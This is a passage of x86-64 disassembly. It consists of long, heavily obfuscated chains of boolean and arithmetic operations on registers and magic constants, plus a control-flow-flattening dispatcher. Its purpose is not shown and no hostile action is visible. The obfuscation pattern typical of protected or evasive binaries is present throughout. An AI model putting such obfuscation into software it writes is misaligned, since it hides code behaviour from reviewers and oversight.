xor sil, 1
or sil, al
mov eax, r8d
xor al, 1
mov edx, r8d
and dl, al
mov ebx, r8d
and bl, dl
xor dl, r8b
or dl, bl
xor dl, sil
mov ebx, r9d
xor bl, al
or al, r9b
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, edx
xor al, r10b
and al, dl
or dl, r11b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
and r11b, r8b
and dl, r10b
or dl, r11b
xor r8b, dl
and r8b, dl
mov eax, r9d
xor al, cl
and al, r9b
and cl, r9b
or cl, dil
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov r10d, eax
and r10b, cl
xor al, r10b
xor r10b, 1
or r10b, cl
xor r10b, 1
or r10b, al
mov r9d, r10d
xor r9b, 1
mov eax, r9d
and al, r10b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov r11d, r8d
mov ebx, eax
xor bl, 1
mov ecx, eax
xor cl, bl
and cl, al
mov esi, r8d
or sil, bl
xor bl, r8b
xor r8b, 1
or r11b, r8b
xor r11b, r8b
or r9b, r10b
mov edx, r11d
xor dl, 1
and r11b, r8b
mov eax, r11d
and al, dl
xor r11b, dl
xor r9b, cl
or r11b, al
and cl, r9b
mov eax, r9d
xor al, cl
xor cl, 1
or cl, r9b
xor al, 1
xor cl, 1
or cl, al
xor cl, 1
mov eax, ecx
or al, r11b
xor cl, r11b
xor cl, 1
and cl, r11b
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, esi
xor al, bl
xor bl, 1
xor al, 1
or bl, sil
xor bl, 1
or bl, al
mov ebp, ecx
xor bpl, 1
mov eax, ecx
and al, bpl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, bl
mov ecx, ebp
and cl, bl
xor bpl, bl
xor al, 1
or bpl, cl
xor bpl, 1
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov cl, byte [rsp + 0x3c]
and r13b, cl
mov eax, ecx
and al, r13b
xor r13b, cl
or r13b, al
or r12b, byte [rsp + 0x38]
xor r12b, 1
or r12b, byte [rsp + 0x3a]
mov r8d, r12d
xor r8b, 1
mov cl, byte [rsp + 0x40]
mov eax, ecx
and al, r15b
xor r15b, cl
or r15b, al
mov eax, r14d
mov cl, byte [rsp + 0x48]
and al, cl
xor r14b, cl
or r14b, al
mov eax, r14d
xor al, 1
mov r9d, eax
and r9b, r14b
xor al, r9b
xor r9b, 1
or r9b, r14b
xor r9b, 1
or r9b, al
mov r10d, r9d
xor r10b, 1
mov r11d, r8d
and r11b, r12b
mov ecx, r11d
and cl, r8b
mov edx, r11d
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, r8b
xor cl, 1
or dl, r12b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
xor bl, 1
mov edx, r15d
xor dl, 1
and dl, r15b
mov ecx, edx
and cl, r15b
xor dl, r15b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ecx, edx
xor cl, 1
or r9b, r10b
mov eax, r9d
or al, r10b
xor r9b, r10b
xor r9b, 1
mov r10d, eax
xor r10b, r9b
or r9b, al
xor r9b, 1
or r9b, r10b
mov eax, ebx
xor al, dl
mov r10d, eax
xor r10b, bl
and r10b, al
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor cl, bl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, r10b
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, r9d
xor al, 1
and r9b, al
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
mov r10d, r9d
xor r10b, 1
mov eax, ecx
xor al, 1
mov edi, eax
and dil, cl
mov edx, edi
xor dil, al
or al, cl
or r9b, r10b
mov esi, r10d
xor sil, r9b
or r9b, r10b
mov r10d, eax
xor r10b, 1
xor r9b, 1
or r9b, sil
mov ebx, r10d
and bl, al
xor dl, 1
or dl, cl
xor dl, 1
or dl, dil
mov esi, ebx
and sil, r10b
xor bl, r10b
mov r10d, r13d
xor r10b, 1
or bl, sil
xor bl, dl
xor bl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, r9b
xor r9b, 1
xor cl, 1
or r9b, al
xor r9b, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
xor r8b, r10b
xor r8b, 1
or r8b, r13b
mov ecx, r8d
xor cl, 1
mov eax, r13d
and al, r10b
xor r13b, al
xor al, 1
or al, r10b
xor al, 1
or al, r13b
xor r11b, 1
mov edx, r12d
xor dl, r11b
or r11b, r12b
xor r11b, 1
or r11b, dl
mov edx, eax
xor dl, 1
and dl, r11b
xor r11b, 1
and r11b, al
or r11b, dl
mov eax, r11d
xor al, 1
mov edx, r11d
and dl, r8b
or r11b, cl
and cl, al
or cl, dl
xor al, r8b
xor r11b, 1
or r11b, al
xor r11b, 1
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov edx, r11d
xor dl, 1
mov eax, edx
and al, r11b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor dl, cl
mov edi, ecx
xor dil, r11b
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dil
xor dil, 1
xor al, 1
or dil, cl
xor dil, 1
or dil, al
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov r8d, edi
xor r8b, 1
mov esi, r9d
xor sil, 1
mov eax, esi
or al, r9b
mov r10d, r9d
and r10b, al
xor al, 1
mov ecx, r8d
or cl, dil
mov r11d, ecx
xor r11b, 1
mov edx, eax
xor dl, sil
and dl, al
and al, sil
or al, r10b
mov r10d, edx
xor r10b, 1
xor dl, al
xor al, 1
or al, r10b
xor al, 1
or al, dl
mov r10d, r11d
and r10b, cl
mov ebx, edi
and bl, r8b
mov edx, r10d
xor dl, 1
xor r10b, r11b
or dl, cl
xor dl, 1
or dl, r10b
mov r10d, ebx
and r10b, dil
xor bl, dil
or bl, r10b
xor bl, dl
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
xor cl, 1
and cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
and r8b, r9b
or r9b, dil
and sil, dil
or sil, r8b
mov eax, r9d
xor al, sil
xor sil, 1
xor al, 1
or sil, r9b
xor sil, 1
or sil, al
mov r8d, esi
xor r8b, 1
mov eax, ecx
xor al, 1
and cl, al
mov ebx, r8d
and bl, sil
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, sil
xor dl, 1
or dl, bl
xor dl, cl
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r10d, edx
xor r10b, 1
xor dl, cl
mov ebx, eax
or bl, r10b
xor bl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
or r8b, dl
mov r9d, r8d
xor r9b, 1
xor r10b, al
or r10b, bl
mov edx, r10d
xor dl, 1
and cl, r10b
and dl, al
or dl, cl
xor r10b, dl
and r10b, dl
mov edi, r10d
xor dil, 1
mov ecx, edi
and cl, r10b
mov eax, edi
and al, cl
xor cl, dil
or cl, al
mov esi, r9d
xor sil, r8b
and sil, r9b
mov r14d, r9d
mov r11d, r9d
mov ebx, r9d
or bl, r8b
mov edx, ebx
xor dl, 1
xor dil, r10b
and dil, r10b
mov eax, edx
and al, bl
mov r10d, eax
and r10b, dl
xor al, dl
mov edx, ecx
xor dl, 1
xor sil, 1
or al, r10b
xor al, sil
mov r10d, ebx
and r10b, sil
xor sil, bl
mov r15d, ecx
or r15b, dl
or sil, r10b
mov r10d, eax
xor r10b, sil
or sil, al
and cl, dl
mov r12d, edx
and r12b, cl
xor cl, dl
and r11b, dl
xor dl, r9b
xor sil, 1
or sil, r10b
xor dil, 1
mov ebx, r15d
or bl, dil
xor bl, 1
xor dil, r15b
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov eax, edi
xor al, sil
and dil, al
and al, sil
mov ebx, edi
and bl, al
xor al, dil
or al, bl
and r14b, r8b
xor r9b, r14b
xor r14b, 1
or r14b, r8b
xor r14b, 1
or r14b, r9b
or cl, r12b
mov ebx, r14d
xor bl, 1
and bl, cl
xor cl, 1
and cl, r14b
or cl, bl
or dl, r11b
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov r10d, eax
xor r10b, 1
mov ebx, r10d
and bl, al
mov r9d, r10d
xor r9b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, r8b
and bl, dl
or bl, cl
xor r10b, r8b
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
and al, r9b
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
or r9b, bl
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov edx, r9d
xor dl, 1
mov eax, edx
and al, r9b
mov ecx, eax
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, r9d
or r8b, dl
mov ebx, r8d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor dl, al
xor dl, 1
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and cl, r8b
and al, dl
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
xor al, 1
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
or cl, dl
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
mov esi, ebp
xor sil, 1
mov eax, esi
or al, bpl
mov r14d, eax
xor r14b, 1
and r14b, al
xor r14b, 1
mov ebx, r14d
xor bl, al
or r14b, al
xor r14b, 1
or r14b, bl
mov ebx, r14d
and bl, bpl
xor r14b, 1
and r14b, sil
or r14b, bl
mov ebx, ebp
and bl, al
xor al, bpl
or al, bl
xor r14b, 1
mov ebx, r14d
xor bl, al
or r14b, al
xor r14b, 1
or r14b, bl
mov r15d, esi
and r15b, bpl
mov r8d, esi
xor r8b, r15b
mov r10d, ecx
or r10b, r11b
mov eax, ecx
or al, r10b
xor r10b, cl
xor r10b, 1
mov edx, eax
xor dl, r10b
or r10b, al
xor r10b, 1
or r10b, dl
mov eax, r10d
xor al, 1
and r10b, al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov r9d, r14d
xor r9b, 1
mov eax, r14d
or al, r9b
mov edx, r14d
xor dl, al
or al, r14b
xor al, 1
or al, dl
mov edi, eax
xor dil, 1
xor r15b, 1
or r15b, bpl
xor r15b, 1
or r15b, r8b
mov edx, r15d
xor dl, 1
xor r15b, sil
xor r15b, 1
or r15b, dl
mov ebp, r15d
xor bpl, 1
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov ecx, ebp
or cl, r15b
mov esi, ebp
and sil, cl
xor cl, 1
mov r12d, eax
or r12b, dil
xor r12b, 1
mov r8d, edi
and r8b, r12b
xor r12b, dil
or r12b, r8b
mov ebx, ecx
xor bl, r15b
and bl, cl
and cl, r15b
mov r8d, r10d
xor r8b, 1
or cl, sil
xor bl, 1
xor cl, 1
mov r15d, ebx
xor r15b, cl
or cl, bl
mov esi, r11d
xor sil, 1
xor cl, 1
or cl, r15b
mov ebx, ecx
xor bl, 1
or bl, r12b
xor r12b, 1
xor bl, 1
or r12b, cl
xor r12b, 1
mov ecx, ebx
and cl, r12b
xor r12b, bl
or r12b, cl
and al, dil
mov ecx, edi
and cl, al
xor al, dil
or al, cl
xor al, bpl
mov ecx, edi
and cl, bpl
xor bpl, dil
or bpl, cl
mov ecx, ebp
xor cl, al
xor al, 1
xor cl, 1
or al, bpl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov edx, r12d
xor dl, 1
and dl, r12b
mov ecx, eax
and cl, bl
xor dl, 1
mov edi, r12d
xor dil, dl
or dl, r12b
xor dl, 1
or dl, dil
mov edi, eax
and dil, cl
xor cl, al
or cl, dil
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r12d
xor al, bl
or bl, r12b
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, r10d
xor al, sil
xor al, 1
or al, r10b
and sil, r10b
and r11b, r8b
or r11b, sil
mov edx, r11d
xor dl, 1
mov ebx, r11d
and bl, dl
xor dl, al
xor al, 1
mov esi, ebx
and sil, r11b
xor bl, r11b
or bl, sil
xor bl, al
or r11b, al
xor r11b, 1
or r11b, dl
xor r11b, 1
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
mov esi, ecx
xor sil, 1
mov edi, esi
or dil, cl
mov eax, edi
xor al, 1
mov ebx, ecx
and bl, sil
mov edx, edi
and dl, al
mov ebp, ecx
and bpl, bl
xor bl, cl
or bl, bpl
xor dl, 1
mov ebp, eax
xor bpl, dl
or dl, al
xor dl, 1
or dl, bpl
mov ebp, ebx
xor bpl, 1
and bpl, dl
xor dl, 1
and dl, bl
or dl, bpl
xor dil, cl
or al, sil
xor al, 1
or al, dil
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
mov esi, r11d
xor sil, 1
or r11b, sil
xor r11b, sil
or al, cl
and sil, r11b
mov ecx, r11d
xor cl, sil
xor sil, 1
or sil, r11b
xor cl, 1
xor sil, 1
or sil, cl
xor sil, al
mov r11d, esi
xor r11b, 1
mov eax, r10d
and al, r9b
or r10b, r14b
and r14b, r8b
or r14b, al
xor r14b, 1
or r14b, r9b
mov eax, r14d
xor al, 1
xor r10b, 1
or r9b, r8b
xor r9b, 1
mov ecx, r10d
and cl, r9b
xor r9b, r10b
or r9b, cl
mov ecx, r9d
xor cl, 1
and r9b, r14b
or r14b, cl
xor r14b, 1
and cl, al
or cl, r9b
mov eax, r14d
and al, cl
xor cl, r14b
or cl, al
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov r9d, eax
and r9b, cl
xor al, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov r10d, r9d
xor r10b, 1
mov edx, r11d
or dl, sil
xor dl, 1
mov ecx, esi
and cl, r11b
mov r8d, ecx
and r8b, sil
xor cl, sil
or cl, r8b
mov ebx, edx
xor bl, r11b
xor cl, dl
xor bl, 1
or dl, sil
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r10d
or dl, r9b
mov eax, r10d
or al, dl
xor dl, r9b
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, r9d
and al, r10b
mov edx, r9d
xor dl, al
xor al, 1
or al, r10b
xor al, 1
or al, dl
mov edx, eax
and dl, r11b
xor al, 1
and al, sil
or al, dl
xor r9b, sil
or r10b, r11b
xor r10b, 1
or r10b, r9b
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov eax, r10d
xor al, 1
and r10b, al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov r8d, r10d
xor r8b, 1
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, r8d
mov ecx, ebx
and cl, r8b
xor bl, r8b
and r8b, r10b
xor al, r8b
xor r8b, 1
or r8b, r10b
xor r8b, 1
or r8b, al
mov eax, edx
xor al, 1
and al, r8b
xor r8b, 1
and r8b, dl
or r8b, al
or bl, cl
mov eax, ebx
xor al, r8b
test al, 1
mov eax, 0x4fb7e53d
mov ecx, 0xc32c7d3d
cmovne eax, ecx
test bl, 1
mov ecx, 0x4fb7e53d
cmovne ecx, eax
test r8b, 1
jmp 0x140022823
cmp ecx, 0xdb67d42
je 0x140022852
cmp ecx, 0xe39544d
jne 0x1400014e0
mov eax, dword [0x1400c5670]
lea r11d, [rax - 1]
imul r11d, eax
mov r8d, r11d
not r8d
mov ecx, r8d
and ecx, 0x64d1bcbf
mov edx, r11d
and edx, 0x9b2e4340
or edx, ecx
xor edx, 0xf85acba9
or edx, r8d
mov ecx, r8d
mov r9d, r8d
mov ebp, r8d
and ebp, 0x81b1cf37
mov ebx, r11d
xor ebx, 0x81b1cf37
and ebx, r11d
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0xb09a85d1
and ebx, 0x4f657a2e
or ebx, ebp
mov ebp, ebx
xor ebp, 0x900508
xor ebx, 0x210108c6
and ebx, 0xef45b8d7
and ebp, 0x10ba4728
or ebp, ebx
mov ebx, ebp
xor ebx, 0x108a4700
and ebx, 0x9c8b7716
xor ebp, 0x8c31303e
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0x8002021a
and ebp, 0x7ffdfde5
or ebp, ebx
mov edi, ebp
xor edi, 0x7ffdfde5
mov eax, edx
not eax
mov ebx, edi
xor ebx, edx
and ebx, edi
xor ebp, 0x8002021a
and ebp, eax
and edx, edi
or edx, ebp
mov eax, ebx
not eax
mov esi, edx
not esi
mov ebp, eax
and ebp, 0x51d041c2
and ebx, 0xae2fbe3d
or ebx, ebp
or eax, esi
and esi, 0x51d041c2
and edx, 0xae2fbe3d
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
mov ebp, eax
xor ebp, 0x9c8b7716
and ebp, eax
or eax, 0x637488e9
mov ebx, ebp
not ebx
mov edi, eax
and edi, 0x9ba45a6
and edx, 0x94013210
or edx, edi
or eax, ebx
and ebx, 0x9ba45a6
and ebp, 0xf645ba59
or ebp, ebx
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
xor edx, 0x133af530
and edx, eax
or eax, 0xecc50acf
mov ebp, eax
not ebp
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x5c4fd290
and ebp, 0x3302520
or ebp, edi
or eax, ebx
and ebx, 0x5c4fd290
and edx, 0xa3b02d6f
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xdb7ba7f7
and eax, 0x24845808
or eax, edx
mov edx, eax
xor edx, 0x37bead38
not eax
mov ebp, edx
and ebp, 1
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
xor edx, 0x3f4930d7
and edx, eax
or eax, 0xc0b6cf28
mov ebp, eax
not ebp
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xc9d2bbea
and ebp, 0x36090015
or ebp, edi
or eax, ebx
and ebx, 0xc9d2bbea
and edx, 0x362d4415
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xc0b6cf28
and eax, 0x3f4930d7
or eax, edx
mov edx, eax
not edx
and edx, 0x16390796
and eax, 0xe9c6f869
or eax, edx
mov edx, eax
xor edx, 0x68807860
xor eax, 0x2280684
and eax, 0x836e868d
and edx, 0x7c917972
or edx, eax
mov esi, edx
xor esi, 0x8244828c
xor edx, 0x60800952
and edx, 0x61aa0d53
and esi, 0x9e55f2ac
or esi, edx
mov edx, esi
xor edx, 0x9e55f2ac
and ecx, 0x8bfac75a
mov ebp, r11d
xor ebp, 0x8bfac75a
and ebp, r11d
mov eax, ecx
and eax, ebp
xor ebp, ecx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x740538a4
and ebp, 0x8bfac75b
or ebp, eax
and r9d, 0xa190d4d3
mov eax, r11d
and eax, 0x5e6f2b2c
or eax, r9d
mov ecx, eax
xor ecx, 0x5e6f2b2c
xor eax, 0xa190d4d3
and eax, ebp
not ebp
and ecx, ebp
or eax, ecx
not eax
or eax, ebp
mov r10d, eax
not r10d
mov edi, esi
xor edi, 0x61aa0d53
mov ecx, edi
and ecx, 0x31f0bd49
mov r15d, esi
xor r15d, 0xafa54fe5
and r15d, edx
mov edx, ecx
and edx, r15d
xor r15d, ecx
or r15d, edx
mov ecx, r15d
not ecx
and ecx, 0xce0f42b6
and r15d, 0x31f0bd49
or r15d, ecx
mov r9d, r10d
mov ecx, eax
and ecx, 0x94d676cb
and r10d, 0x6b298934
or r10d, ecx
xor r10d, 0x10bedf08
or r10d, eax
and eax, 0x2bc50e19
and r9d, 0xd43af1e6
or r9d, eax
mov r13d, r9d
xor r13d, 0xd43af1e6
xor r9d, 0x2bc50e19
mov eax, r15d
mov ebp, r15d
not ebp
mov dword [rsp + 0x48], ebp
and eax, 0xba0c6c2b
mov ecx, ebp
and ecx, 0x45f393d4
or ecx, eax
xor ecx, 0x3e64c5e8
and ebp, 0x8468a9c3
or ebp, ecx
mov eax, ebp
not eax
and edi, 0x7b97563c
xor esi, 0x1a3d5b6f
or esi, edi
mov edi, esi
not edi
mov ecx, r9d
and ecx, 0x67cbb53a
mov edx, r13d
and edx, 0x98344ac5
or edx, ecx
mov ecx, edx
xor ecx, 0x802008c1
and ecx, 0x8468a9c3
xor edx, 0x1c5ce306
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xaf9372a0
and edx, 0x506c8d5f
or edx, ecx
mov r12d, edx
xor r12d, 0x506c8d5f
mov ecx, r10d
not ecx
mov r14d, ebp
or r14d, esi
and ebp, 0xe3ce0072
and eax, 0x1c31ff8d
or eax, ebp
mov ebp, r14d
not ebp
and esi, 0xe3ce0072
and edi, 0x1c31ff8d
or edi, esi
xor edi, eax
mov eax, edi
not eax
mov esi, r14d
and esi, 0xcd7c922d
and ebp, 0x32836dd2
or ebp, esi
or r14d, eax
and eax, 0xcd7c922d
and edi, 0x32836dd2
or edi, eax
xor edi, ebp
not r14d
or r14d, edi
xor edx, 0xaf9372a0
mov eax, edx
and eax, 0x9106fb01
mov esi, r12d
and esi, 0x6ef904fe
or esi, eax
mov eax, ecx
or eax, 0x6ef904fe
mov ebp, eax
not ebp
mov ebx, r10d
or ebx, 0x9106fb01
and eax, 0xa96d92bd
and ebp, 0x10026900
or ebp, eax
mov edi, ebx
not edi
and ebx, 0xa96d92bd
and edi, 0x46900442
or edi, ebx
xor edi, ebp
mov eax, esi
not eax
and eax, 0xc0a47521
and esi, 0x3f5b8ade
or esi, eax
mov eax, edi
not eax
and eax, 0xc0a47521
and edi, 0x3f5b8ade
or edi, eax
xor edi, esi
mov eax, r12d
and eax, 0x66d80bed
and edx, 0x9927f412
or edx, eax
or r12d, ecx
and ecx, 0x66d80bed
and r10d, 0x9927f412
or r10d, ecx
mov ecx, r8d
xor r10d, edx
not r12d
or r12d, r10d
mov esi, edi
not esi
mov eax, esi
and eax, 0x64f694e3
and edi, 0x9b096b1c
or edi, eax
mov edx, r12d
not edx
or esi, r12d
and r12d, 0x64f694e3
and edx, 0x9b096b1c
or edx, r12d
mov eax, r8d
xor edx, edi
not esi
or esi, edx
mov edx, r14d
not edx
and edx, 0xfd1f4e0f
mov ebp, r14d
and ebp, 0x2e0b1f0
or ebp, edx
mov edx, esi
not edx
xor ebp, 0xfd1f4e0f
or ebp, edx
and edx, 0x2fa59424
and esi, 0xd05a6bdb
or esi, edx
mov r10d, r11d
and ecx, r11d
and eax, 0x3ff271a7
and r11d, 0xc00d8e58
or r11d, eax
mov eax, r15d
xor eax, 0x63314ad2
and eax, r15d
not r11d
or r11d, r8d
not ebp
xor esi, r14d
xor esi, 0x2fa59424
and esi, r14d
mov edx, ebp
and edx, esi
xor esi, ebp
or esi, edx
mov edx, dword [rsp + 0x48]
and edx, 0xc64e0470
and r15d, 0x39b1fb8f
or r15d, edx
mov edx, r15d
xor edx, 0x39b1fb8f
and r9d, 0xc2a7dcc1
mov edi, r13d
and edi, 0x3d58233e
or edi, r9d
mov ebp, edi
xor ebp, 0x3d58233e
xor r15d, 0xa57f4ea2
and r15d, edx
xor edi, 0xa1969613
and edi, ebp
and r13d, 0x9cceb52d
mov r9d, r15d
and r9d, eax
xor eax, r15d
or eax, r9d
mov r9d, edi
and r9d, r13d
xor r13d, edi
or r13d, r9d
mov edi, eax
not edi
and edi, r13d
not r13d
and r13d, eax
or r13d, edi
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0xf4129256
and ebp, 0xbed6da9
or ebp, eax
xor ebp, 0xbed6da9
mov eax, r13d
and eax, ebp
xor ebp, r13d
or ebp, eax
mov eax, ebp
not eax
and eax, 0xf9ab1eca
and ebp, 0x654e135
or ebp, eax
mov eax, ebp
not eax
and eax, 0xb2cfe23a
and ebp, 0x4d301dc5
or ebp, eax
mov edx, ebp
xor edx, 0x809b0306
xor ebp, 0x2248840
and ebp, 0x36248849
and edx, 0xc9db77b6
or edx, ebp
mov eax, edx
xor eax, 0x410a5696
xor edx, 0x14008009
and edx, 0x9cd1a129
and eax, 0x632e5ed6
or eax, edx
mov ebp, eax
xor ebp, 0x90d1a020
mov edi, eax
xor edi, 0x632e5ed6
mov edx, esi
mov ebx, esi
xor ebx, 0x3fd60965
and ebx, esi
not esi
and esi, 0x802efffe
and edx, 0x7fd10001
or edx, esi
mov r9d, edx
xor r9d, 0x7fd10001
and ebp, 0x91f7e6b6
xor eax, 0x5cf857b3
and eax, edi
and edi, 0x6e081949
or edi, ebp
mov esi, edx
xor esi, 0xbff8f69b
and esi, r9d
mov ebp, esi
not ebp
mov r14d, ebp
and r14d, 0xf6902d06
and esi, 0x96fd2f9
or esi, r14d
mov r14d, ebx
not r14d
or ebp, r14d
and r14d, 0xf6902d06
and ebx, 0x96fd2f9
or ebx, r14d
mov r14d, edi
xor r14d, 0x6e081949
xor edi, 0x91f7e6b6
xor ebx, esi
mov esi, r14d
and esi, 0x3fd60965
not ebp
or ebp, ebx
mov ebx, esi
and ebx, eax
xor eax, esi
or eax, ebx
mov esi, ebp
not esi
and esi, 0x9e902aab
and ebp, 0x616fd554
or ebp, esi
mov esi, eax
not esi
and esi, 0x9e902aab
and eax, 0x616fd554
or eax, esi
xor eax, ebp
xor edx, 0x802efffe
mov esi, edx
and esi, 0x55d3ce50
and r9d, 0xaa2c31af
or r9d, esi
or edx, edi
and edi, 0x55d3ce50
and r14d, 0xaa2c31af
or r14d, edi
xor r14d, r9d
not edx
or edx, r14d
mov ebp, edx
not ebp
mov r14d, eax
not r14d
mov ebx, r14d
and ebx, 0x41b5e34f
and eax, 0xbe4a1cb0
or eax, ebx
or r14d, edx
and edx, 0x41b5e34f
and ebp, 0xbe4a1cb0
or ebp, edx
xor ebp, eax
not r14d
or r14d, ebp
and r8d, 0x5c4ec84d
and r10d, 0xa3b137b2
or r10d, r8d
mov eax, r10d
xor eax, 0xa23034b2
xor r10d, 0x5c4ec84d
mov edx, ecx
not edx
mov ebp, r10d
and ebp, 0x49cd0b0d
and eax, 0xb632f4f2
or eax, ebp
or r10d, edx
and edx, 0x49cd0b0d
and ecx, 0xb632f4f2
or ecx, edx
xor ecx, eax
not r10d
or r10d, ecx
mov eax, r10d
not eax
and eax, 0xa2ee7742
and r10d, 0x5d1188bd
or r10d, eax
mov eax, r10d
xor eax, 0x19000020
xor r10d, 0x2404002
and r10d, 0x6504087
and eax, 0x39a23120
or eax, r10d
mov ebp, eax
xor ebp, 0x29802020
xor eax, 0xc65dcedf
mov edx, r11d
not edx
mov ecx, eax
or ecx, r11d
mov ebx, ecx
not ebx
and eax, 0x923bd148
and ebp, 0x2dc020a7
or ebp, eax
and r11d, 0x923bd148
and edx, 0x6dc42eb7
or edx, r11d
xor edx, ebp
mov eax, edx
not eax
mov ebp, ecx
